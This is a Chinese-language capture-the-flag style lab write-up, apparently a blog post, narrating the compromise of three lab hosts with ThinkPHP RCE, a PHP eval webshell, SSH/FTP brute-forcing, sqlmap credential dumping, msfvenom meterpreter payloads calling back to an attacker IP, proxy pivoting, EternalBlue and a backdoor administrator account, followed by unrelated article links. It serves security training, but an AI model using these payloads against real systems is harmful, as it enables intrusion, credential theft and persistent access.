实验环境

做到一半环境崩了，IP地址以下面为准

Target1 - Centos7 （web服务）

此主机的IP地址：
192.168.41.136 （模拟公网IP能与物理机通讯）
192.168.22.132

Target2 - Ubuntu （内网web服务）

此主机的IP地址：
192.168.22.133
192.168.33.130

Target3 - Windows7 (客户端)

此主机的IP地址：
192.168.33.33

实验目的

拿下三台主机权限

实验步骤

测试Target1

信息收集

使用dirsearch扫描192.168.41.136的网站目录，发现 http://192.168.41.136/index.php 是Thinkphp框架

nmap扫描端口

22/21端口 弱口令爆破(MSF，hydra)

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt

 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -fhydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f

3306端口

不允许远程IP登录

8888端口

宝塔界面未知账号密码无法利用

80端口

Thinkphp v5.0 存在远程命令执行漏洞，通过命令执行写入一句话，可 GetShell

php一句话木马 poc

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=<?php @eval($_POST[123]);?>

使用蚁剑链接成功

web服务器成功拿下 (192.168.41.136)

主机信息收集

ifconfig 发现存在22网段

上传脚本到 /tmp目录 ，扫描22网段 ping.sh

#!/bin/bash
for num in {1..254};doip=192.168.22.$numping -c1 $ip >/dev/null 2>&1if [ $? = 0 ];thenecho "$ip" okelseecho "$ip" failfidone

赋予ping.sh 权限，并执行

chmod 777 ping.sh./ping.sh > ping.txt

但执行不了，不知道是不是环境问题，换另一个方法上传一个fscan内网扫描工具

使用bash反弹shell的方法，反弹到攻击机

赋予fscan 权限并执行，发现存活主机 192.168.22.133/132 以及端口开放情况发现192.168.22.133是一个CMS

./fscan_amd64 -h 192.168.22.0/24

反弹shell到msf

反弹 Target1 的 Shell 到 MSF

msfvenom生成payload

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf

上传到 Target1 的 /tmp 目录下执行

# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf

meterpreter > run get_local_subnets 获取网段信息

建立Socks代理

获得 Target1 的 meterpreter shell 后，添加到 192.168.22.0/24 网段的路由

run autoroute -s 192.168.22.0/24
run autoroute -p

使用 MSF 的 socks5 模块启动 socks 代理服务

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

配置 proxychains 代理工具

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

也可以使用 stowaway 代理

1、攻击机启动admin监听

./admin -l 4444 -s hack

2、Target1启动agent

./agent -c 192.168.41.130:4444 -s hack

3、开启socks代理

进入Target1的node节点，使用socks命令开启socks代理

use 0
socks 1080

4、编辑 proxychains4.conf 文件

vim /etc/proxychains4.conf

5、测试socks代理，使用proxychains工具

测试Target2

信息收集

22网段进行内网扫描，

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133

21/22端口

弱口令爆破 爆破不成功

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 mysql

8888端口

宝塔页面无法利用

80端口

上面信息收集发现80端口是个Bagecms的框架，寻找历史漏洞挨个测试发现存在SQL注入漏洞，使用查找到的POC ，使用sqlmap工具进行测试

通过连接代理服务器，可使本地物理机访问内网的web页面，也可以明显看出是bagecms

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword

爆数据库

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs

爆bagecms的表名

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables

爆bage_admin 的列的数据

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump

得到后台登录账号密码为：admin/123qwe

使用Proxifier工具设置本地物理机全局代理，使得使用御剑目录扫描工具扫描内网web服务

通过御剑目录扫描在，访问 /robots.txt 目录发现了目录泄露，访问得到了管理后台的地址

登录进后台 -> 模板 -> 在 site文件夹 index.php 文件后面添加一句话马 -> 用 蚁剑 配置 socks 代理连接webshell

成功连接 上线target2目标机器

并且为root用户（拿下192.168.22.133 服务器权限）

主机信息收集

ifconfig

发现存在192.168.33.0/24的内网网段。

使用stowaway二层socks代理

1、在node中开启监听

进入node 0节点，执行listen，设置监听端口，开启监听模式

use 0
listen
1
7070

在 Target1 上可以看到 agent 监听了 7070 端口

2、Target2连接监听端口

在 Target2 中连接 Target1 监听的 7070 端口

./agent -c 192.168.22.130:7070 -s hack

3、开启Socks代理

admin 接收到新的 node 1 , 进入 node 1 节点开启 socks 代理

4、修改proxychains4.conf 文件 测试代理

vim /etc/proxychains4.conf

创建ping.sh脚本进行内网存活探测 发现192.168.33.33主机存活

#!/bin/bash
for num in {1..254};doip=192.168.22.$numping -c1 $ip >/dev/null 2>&1if [ $? = 0 ];thenecho "$ip" okelseecho "$ip" failfidone

测试Target3

信息收集

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33

使用内网扫描工具fscan，进行三网段扫描发现 192.168.33.33为Windows 7 系统，并且存在MS17-010漏洞

分析利用

知道了存在MS17-010漏洞，而且这个漏洞永恒之蓝是通过 TCP 的445和139端口，来利用 SMBv1 和 NBT 中的远程代码执行漏洞，通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机

打开攻击机的MSF，反弹Target1\2的shell，生成linux系统的木马payload

msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf

通过蚁剑上传到服务器目录并执行，得到target1和target2的session，并配置路由

使用MSF的针对MS17-010的扫描模块进行漏洞检测，发现确实存在MS17-010漏洞

利用MS17-010模块进行漏洞攻击

use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

拿到了target3的session，并且为system权限（192.168.33.33）

利用上面的信息收集发现此主机开放了3389远程端口，那么我们可以直接使用物理机进行远程桌面连接

3389端口

# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators

添加完管理用户，使用proxifier软件设置代理

使用Windows自带的远程软件进行远程连接

如果有用户正在登录则等30秒自动踢下线

拿下主机，并且只有一个网段，渗透完成！！！！

渗透测试实战 - 外网渗透内网穿透（超详细）相关推荐

1. 渗透测试入门2之进入内网

   渗透测试入门2之进入内网 1. 基于企业弱账号漏洞 VPN(通过邮箱,密码爆破,社工等途径获取VPN) 企业相关运维系统(zabbix等) 2. 基于系统漏洞进入 Metasploit(漏洞利用框架) ...

2. 【渗透测试笔记】之【内网渗透——Windows系统散列值获取与防范】

   拓扑图 Windows系统散列值获取 1.通过CS模块获取用户凭证信息 在获取到目标主机权限后,我们可以抓取hash和dump明文密码,这两项功能都需要管理员权限,如果权限不足,先要进行提权操作. 抓 ...

3. Kali Linux渗透测试实战 1.3 渗透测试的一般化流程

   1.3 渗透测试的一般化流程 凡事预则立,不预则废,做任何事情都要有一个预先的计划.渗透测试作为测试学科的一个分支,早已形成了完整的方法论.在正式开始本书的实践教学章节之前,我也想谈一谈使用Kali ...

4. Kali Linux渗透测试实战 1.3 渗透测试的一般化流程_商洛学院司徒荆_新浪博客

   1.3 渗透测试的一般化流程 凡事预则立,不预则废,做任何事情都要有一个预先的计划.渗透测试作为测试学科的一个分支,早已形成了完整的方法论.在正式开始本书的实践教学章节之前,我也想谈一谈使用Kali ...

5. 【渗透测试笔记】之【内网渗透——域渗透信息收集神器BloodHound安装方法】

   0x01 环境搭建与安装 Java环境 Neo4j数据库环境 BloodHound的运行 1. Java环境与Neo4j的安装 首先打开Neo4j社区版的下载地址:https://neo4j.com/ ...

6. 渗透测试实战指南笔记

   第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...

7. 《内网安全攻防：渗透测试实战指南》读书笔记（一）：内网渗透测试基础

   目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...

8. 《内网安全攻防：渗透测试实战指南》读书笔记（七）：跨域攻击分析及防御

   目录 前言 一.跨域攻击方法 二.利用域信任关系的跨域攻击 1.域信任简介 2.获取域信息 3.利用域信任秘钥(NTLM Hash)获取目标域的权限 4.利用krbtgt散列值获取目标域的权限 5.利 ...

9. 《内网安全攻防：渗透测试实战指南》读书笔记（五）：域内横向移动分析及防御

   目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...

最新文章

1. Lua基础之字符串（string）
2. SyntaxHighlighter -- 代码高亮插件
3. 2020-11-10（安卓如何传递数据）
4. 秒懂云通信：选云通信到底哪家强？
5. DotNetty 实现 Modbus TCP 系列 (二) ModbusFunction 类图及继承举例
6. 使用python获取焦点窗口的进程名称
7. mysql slow log 分析工具_mysql slow log分析工具的比较
8. win7让任务管理器pid显示出来的方法
9. c#和c++互操作（平台调用相关）
10. Linux读写I2C设备I2C_RDWR用法
11. iOS Accessibility指南
12. 学习Cocos2d的博客 --推荐
13. unity 灯光阴影
14. java后端概述_java后端开发知识点
15. VC++ Call Stack调试
16. 远程计算机无法操作,win7系统的QQ远程协助无法控制计算机的问题的解决方法
17. 理解高通量测序技术和单细胞测序技术（自用）
18. 房地产企业项目管理的特点与目标
19. dnw驱动更新，支持全系统(xp，win7，win8/win10)
20. cyberduck 源代码学习记录一，编译源代码 build for window

热门文章

1. Springboot实现支付宝沙箱支付功能
2. java 替换全角为半角 半角转全角
3. 最长回文子串——动态规划
4. 卫星商业价值的尽头，谁来善后？
5. BFS、双向BFS和A*
6. 8000 sentences of Oral English(three)
7. 女装分类有哪些？（详细女装分类）
8. 2020西山居暑假SEED训练营游戏开发
9. 数据挖掘流程总结及挖掘算法比较
10. STM32F407输入捕获-拨开云雾见青天